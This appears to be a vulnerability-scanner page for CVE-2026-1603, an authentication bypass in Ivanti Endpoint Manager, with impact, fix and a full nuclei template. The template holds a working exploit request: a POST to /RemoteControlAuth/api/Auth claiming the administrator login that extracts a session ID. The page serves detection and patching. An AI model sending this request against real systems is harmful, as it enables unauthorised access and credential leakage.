Ivanti Endpoint Manager - Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-03-09; known to be used by ransomware.

highseverity

8.6CVSS score

88.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Ivanti Endpoint Manager < 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.

Impact

Remote attackers can leak stored credential data, potentially compromising sensitive information.

Fix

Update to version 2024 SU5 or later.

How to confirm it

Send: POST /RemoteControlAuth/api/Auth
Positive when: contains "\"sessionid\":" AND not contains "\"sessionid\": null" AND status 200

Run it with nuclei: nuclei -id CVE-2026-1603 -u <target>

The full check

id: CVE-2026-1603

info:
  name: Ivanti Endpoint Manager - Authentication Bypass
  author: DhiyaneshDk,watchtowrlabs
  severity: high
  description: |
    Ivanti Endpoint Manager < 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.
  impact: |
    Remote attackers can leak stored credential data, potentially compromising sensitive information.
  remediation: |
    Update to version 2024 SU5 or later.
  reference:
    - https://x.com/watchtowrcyber/status/2022305033086235108/photo/1
    - https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1603
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-1603
    cwe-id: CWE-288
    epss-score: 0.88335
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ivanti
    product: endpoint_manager
  tags: cve,cve2026,api,auth,ivanti,epmm,authbypass,vkev,kev

http:
  - raw:
      - |
        POST /RemoteControlAuth/api/Auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "logintype":"64",
            "username":"administrator"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sessionid":'

      - type: word
        part: body
        words:
          - '"sessionid": null'
        negative: true

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: sessionid
        json:
          - '.sessionid'

References

Use this check only on systems you are authorised to test. Where the data comes from